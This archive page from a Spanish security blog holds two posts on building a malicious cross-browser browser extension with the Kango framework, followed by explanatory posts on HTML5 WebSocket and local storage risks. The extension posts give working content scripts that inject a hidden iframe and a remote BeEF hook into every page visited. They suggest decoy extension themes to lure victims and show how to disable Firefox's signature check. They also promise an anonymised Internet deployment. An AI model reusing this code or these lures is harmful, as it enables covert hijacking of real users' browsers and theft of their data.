Archive

Posts Tagged ‘web hacking’

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.

abril 12, 2017 Deja un comentario

Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí,  y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.

Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.

Cargar el Hook de BeEF en un Background Script

En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”

"background_scripts": [ 
        "main.js",
        "hook.js"
    ]

Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….

La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.

Cargar el Hook de BeEF en un Content Script

Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:

// ==UserScript== 
// @name THW Frame 
// @include http://*
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame =$(document.createElement('script')).attr({ 
    src:'http://127.0.0.1:3000/hook.js', 
    type:'text/javascript' 
}).appendTo(document.body);

Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.

Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.

Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:

python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…

Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.

A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.

Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.

Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).

 

En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.

Un saludo y Happy Hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 1.

abril 10, 2017 1 comentario

Uno de los grandes inconvenientes de los ataques del tipo “client-side” es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en “engañar” a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de “víctimas” potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:

– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.

– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.

– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).

– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.

– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)

Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas “maliciosas” debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.

¿Qué es Kangoo y cómo funciona?

Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque “client-site”, aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.

En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.

En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:

1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html

2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.

2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar “la máquina del tiempo”: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.

3. Dentro del directorio de Kangoo se encuentra el script “kango.py” el cual permite la creación y gestión de proyectos.

4. Crear el proyecto con el siguiente comando:

python kango.py create “THWExtension”

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

Input project name: THWExtension

[ INFO] Creating project…

[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension

5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.

En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de “src”:

“chrome”, “common”, “firefox”, “ie”, “safari”.

Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes “cross browser” que pueden funcionar en los navegadores soportados por el framework.

En el directorio “src/common“existen dos ficheros llamados “main.js” y “extension_info.js“, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de “content_scripts” y “background_scripts“, así como detalles visuales de la extensión como el icono.

En el fichero “main.js” de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones “core” de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.

Aunque la configuración por defecto solamente crea un “background script” definido en el fichero “main.js“, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear “background scripts” para las operaciones core de la extensión y “content scripts” para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los “content scripts” no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉

Primera extensión (muy, pero que muy básica) utilizando Kangoo.

Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.

{ 
    "content_scripts": [“content.js”], 
    "description": "THW Labs extension", 
    "creator": "Adastra", 
    "background_scripts": [ 
        "main.js" 
    ], 
    "homepage_url": "https://thehackerway.com/",
    "version": "0.1", 
    "browser_button": { 
        "caption": "THW Extension", 
        "icon": "icons/thw.png", 
        "tooltipText": "Make THW Blog great again"
    }, 
    "name": "THWExtension" 
} 

Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.

Background script

Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html

Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:

function THWExtension() { 
    var self = this; 
  kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() { 
        self.loadPage(); 
    }); 
} 
THWExtension.prototype = { 
    loadPage: function() { 
        kango.browser.tabs.create({url:'https://thehackerway.com/'}); 
    } 
}; 
var extension = new THWExtension(); 

Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.

Content script

Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:

// ==UserScript== 
// @name THW Frame 
// @include http://* 
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame = $(document.createElement('iframe')).attr({ 
    src: 'https://thehackerway.com', 
    width: 0 
}).appendTo(document.body); 

El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.

Construcción y despliegue.

Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).

python kango.py build THWExtension

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

[ INFO] Building chrome extension…

[ INFO] Building firefox extension…

[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:

1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.

2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:

IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’

3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.

4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador “about:config” y cambiar el valor de la propiedad “xpinstall.signatures.required” a false.

Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.

 

De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.

Un saludo y Happy Hack!
Adastra.

Vulnerabilidades comunes en HTML5 – Conociendo el funcionamiento de los WebSockets – Parte 3

noviembre 11, 2014 1 comentario

Históricamente las aplicaciones web se han basado en un modelo cliente-servidor, donde el cliente siempre es el primero en iniciar la comunicación con el servidor. Con la llegada de AJAX, las peticiones podían hacerse de forma asíncrona y el cliente no necesariamente tenia que esperar la respuesta del servidor para poder continuar trabajando con la aplicación web, sin embargo la comunicación tenia que ser iniciada por el cliente y si por algún motivo, el servidor tenia nueva información que debía transferirse al cliente, era el cliente el que tenia que realizar las peticiones contra el servidor para recuperar la nueva información. Evidentemente, el hecho de que el servidor pueda comunicarse con el cliente para informar sobre cualquier “novedad”, es una característica que siempre ha resultado muy útil y pensando en ello, se han diseñado varias alternativas que funcionan sobre el protocolo HTTP, como por ejemplo Comet, Push o con el uso de conexiones HTTP persistentes. Con estas alternativas, el servidor puede enviar datos al cliente sin que el cliente tenga que iniciar una interacción, son técnicas que se utilizan actualmente en muchos servicios en Internet y en su día, GMail también lo hacia, sin embargo, mantener una conexión HTTP durante un largo periodo de tiempo es costoso y no es una muy buena idea en aplicaciones que deben tener una baja latencia. Es aquí donde HTML5 viene “al rescate” con los websockets.

Los websockets son una alternativa muy óptima al problema descrito en líneas anteriores, ya que permite crear conexiones TCP utilizando sockets entre el cliente (navegador) y el servidor. Como con cualquier socket TCP, ambas partes pueden transferir datos en cualquier momento y de esta forma el servidor podrá enviar información al cliente cuando sea necesario.

Uso de websockets en HTML5

Para abrir una conexión entre cliente y servidor utilizando websockets, ahora se utilizan los esquemas “ws://” en lugar de “http://” y “wss://” en lugar de https://. Además, el modelo de programación que debe utilizarse es basado en eventos, dichos eventos alertarán al cliente cuando se realice una conexión con el servidor, cuando ocurra un error, o cuando se reciba un mensaje por parte del servidor. Para crear un websocket, se debe ingresar la dirección del servidor web con el esquema “ws://” o “wss://” y especificar alguno de los subprotocolos soportados en la especificación de websockets (ver: http://www.iana.org/assignments/websocket/websocket.xml).

Después de abrir una conexión con el servidor, el cliente puede enviar mensajes con la función “send” que se encuentra definida en la referencia a la conexión creada anteriormente. Los datos que se pueden enviar pueden ser cadenas de texto o datos binarios representados con los objetos Blob o ArrayBuffer. Un ejemplo del uso de websockets desde el lado del cliente podría ser el siguiente.

var connection = new WebSocket('ws://html5rocks.websocket.org/echo', ['soap', 'xmpp']);
connection.onopen = function () {
  connection.send('Hello Server!'); // Send the message 'Ping' to the server
};

connection.onerror = function (error) {
  console.log('WebSocket Error ' + error);
};

connection.onmessage = function (e) {
  console.log('From Server: ' + e.data);
};

connection.send('Hello cutty server!');

var img = canvas_context.getImageData(0, 0, 200, 200);
var binary = new Uint8Array(img.data.length);
for (var i = 0; i < img.data.length; i++) {
  binary[i] = img.data[i];
}
connection.send(binary.buffer);

var file = document.querySelector('input[type="file"]').files[0];
connection.send(file);

En el ejemplo anterior se ha creado una conexión con el servidor utilizando la clase WebSocket, la cual se encuentra disponible en la mayoría de navegadores modernos. La instancia creada de dicho objeto es utilizada para declarar una serie de funciones de callback que serán invocadas cuando se produzcan diferentes tipos de eventos posibles.

Por otro lado, aunque se trata de una tecnología muy interesante y que se comienza a utilizar con mayor frecuencia en aplicaciones web, no obstante la principal dificultad a la hora de utilizar websockets, es la imposibilidad de establecer conexiones utilizando servidores proxy por medio y dado que en la mayoría de entornos empresariales, el uso de servidores proxy es bastante común, nos encontramos con una limitación que hay que tener en cuenta cuando se habla de utilizar WebSockets en aplicaciones web. La razón de esto, es que los WebSockets utilizan el valor “upgrade” para la cabecera “Connection” o directamente la cabecera “Upgrade” con el el valor “WebSocket” y dicho valor indica que la conexión que inicialmente se ha establecido utilizando HTTP, debe “actualizarse” para utilizar sockets del tipo TCP. Este tipo de cambios en las conexiones no son soportados por los servidores proxy del tipo HTTP, ya que están diseñados para trabajar con paquetes de datos que utilizan el protocolo HTTP, en este caso, la conexión es automáticamente cortada por el servidor. Para “mitigar” este problema existen varias soluciones, como por ejemplo el uso del proyecto Apache Camel (http://camel.apache.org) o mi favorita, el uso de “mod_proxy_wstunnel” (ver: http://httpd.apache.org/docs/2.4/mod/mod_proxy_wstunnel.html) sobre esta extensión de Apache os hablaré en una próxima entrada.

Hasta este punto se ha hablado del lado del cliente, sin embargo en el lado del servidor se requiere un cambio de enfoque muy importante, ya que ahora hablamos de que el servidor debe soportar múltiples conexiones abiertas al mismo tiempo, con el consecuente consumo de recursos que aquello implica, por éste y otros motivos, la mayoría de servidores web modernos soportan modelos “Non-bloquing IO” o lo que es lo mismo, varios grupos de hilos que se ejecutan de forma concurrente y asíncrona para el procesamiento de respuestas. Se trata de un modelo de arquitectura de software ampliamente aceptado y utilizado hoy en día, tanto en servidores como en sistemas operativos. Alguno de los servidores web que soportan estas características (sin ser una lista exhaustiva y basándome únicamente en los que he probado) se mencionan a continuación.

Apache Web Server 2.2 / 2.4 (http://httpd.apache.org/)

Jetty (http://www.eclipse.org/jetty/)

Apache Tomcat (http://tomcat.apache.org/)

JBoss (http://www.jboss.org/)

Socket.IO (http://socket.io/)

Pywebsocket para Apache web Server. (http://code.google.com/p/pywebsocket/)

Tornado (https://github.com/tornadoweb/tornado)

Vulnerabilidades comunes en el uso de websockets

Ahora que está claro qué son y para qué sirven los websockets, es el momento de hablar sobre las vulnerabilidades que se pueden producir cuando se implementan de forma indebida o con pocos controles sobre los datos intercambiados entre cliente y servidor. Estamos hablando de una tecnología joven, que si bien tiene un potencial enorme a la hora de crear aplicaciones web robustas, esto no es gratis y tiene sus riesgos. Algunos de dichos riesgos se explican a continuación.

Transporte no securizado y vulnerable a ataques MITM.

Como se ha mencionado anteriormente, los websockets funcionan utilizando el protocolo TCP, lo que habilita muchas posibilidades a la hora de realizar conexiones contra multitud de servicios, sin embargo si el canal de comunicación no se encuentra debidamente securizado, un ataque del tipo MITM puede comprometer todos los mensajes enviados entre cliente y servidor. Siempre es una buena practica utilizar el contexto “wss://” para establecer conexiones cifradas con TLS.

Los websockets no soportan autenticación ni autorización.

El protocolo de websockets no soporta los mecanismos tradicionales de autenticación y autorización. Es un asunto relacionado con la implementación propiamente dicha del protocolo y en el caso de que el cliente y el servidor intercambien información sensible, además de securizar el canal de comunicación utilizando TLS, también es recomendable utilizar mecanismos de autenticación basados en tokens/tickets. Dichos mecanismos son bastante populares en implementaciones REST, donde algunos servicios solamente pueden ser consumidos si el cliente cuenta con un token de autenticación valido y dicho token se vincula con el servidor por medio de una cuenta de usuario. Dicho patrón de autenticación se ha vuelto cada vez más popular y en aplicaciones que utilizan websockets que requieren mecanismos de control sobre los usuarios autenticados, es una excelente forma de mantener un control de acceso a recursos sensibles.

Validación en los datos de entrada

Aunque los websockets utilicen TCP para realizar las conexiones entre clientes y servidores, aun nos encontramos en el contexto de una aplicación web y es importante validar los datos de entrada de los usuarios. En el caso de no validar los campos de entrada adecuadamente, se pueden producir vulnerabilidades del tipo XSS aunque para la comunicación se ha un protocolo distinto a HTTP.

Vulnerabilidades Cross Site Request Foregy

Tal como se comentaba en un articulo anterior, las políticas de “same origin policy” que aplican cuando se trata de compartir recursos entre distintos dominios, ahora ya no son tan estrictas cuando se utiliza la cabecera HTTP “Origin”. Tal como se mencionaba en dicho articulo, se trata de una característica que está muy bien cuando se trata de compartir recursos con dominios “fiables” y cuando hablamos de relaciones de confianza en el mundo de la seguridad de la información, siempre pueden haber situaciones que le permiten a un atacante abusar de dichas condiciones.

Los websockets no están limitados a las restricciones de SOP, esto significa que un atacante puede iniciar una petición websocket desde su sitio web malicioso contra un endpoint (ws:// o wss://) de una aplicación web aunque no se encuentre en el mismo dominio. Esto tiene unas implicaciones tremendas, ya que el handshake que ejecutará el cliente para iniciar una petición WebSocket es una petición HTTP regular y los navegadores enviarán las cookies y cabeceras HTTP de autenticación aunque se trate de un dominio cruzado, si y sólo si, el servidor web no valida adecuadamente la cabecera “Origin”.
Para que el lector se haga una idea del problema, supongamos que la víctima ha iniciado sesión en un sitio web que tiene uno o varios endpoints “ws” o “wss” y en una pestaña nueva del navegador, ingresa en una página web maliciosa controlada por el atacante. Dicha página podría realizar una petición WebSocket contra el sitio web en el que el usuario se encuentra identificado y si dicho sitio web, no valida adecuadamente el valor de la cabecera “Origin”, la respuesta a la petición del atacante podrá contener, entre otras, las cookies y cabeceras de autenticación utilizadas por el usuario, sin importar que se trate de un dominio cruzado. Esta situación puede dar lugar a una vulnerabilidad del tipo CSRF.

En un próximo articulo, hablaré un poco más sobre cómo explotar algunas de las vulnerabilidades que se han listado aquí.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 1 comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

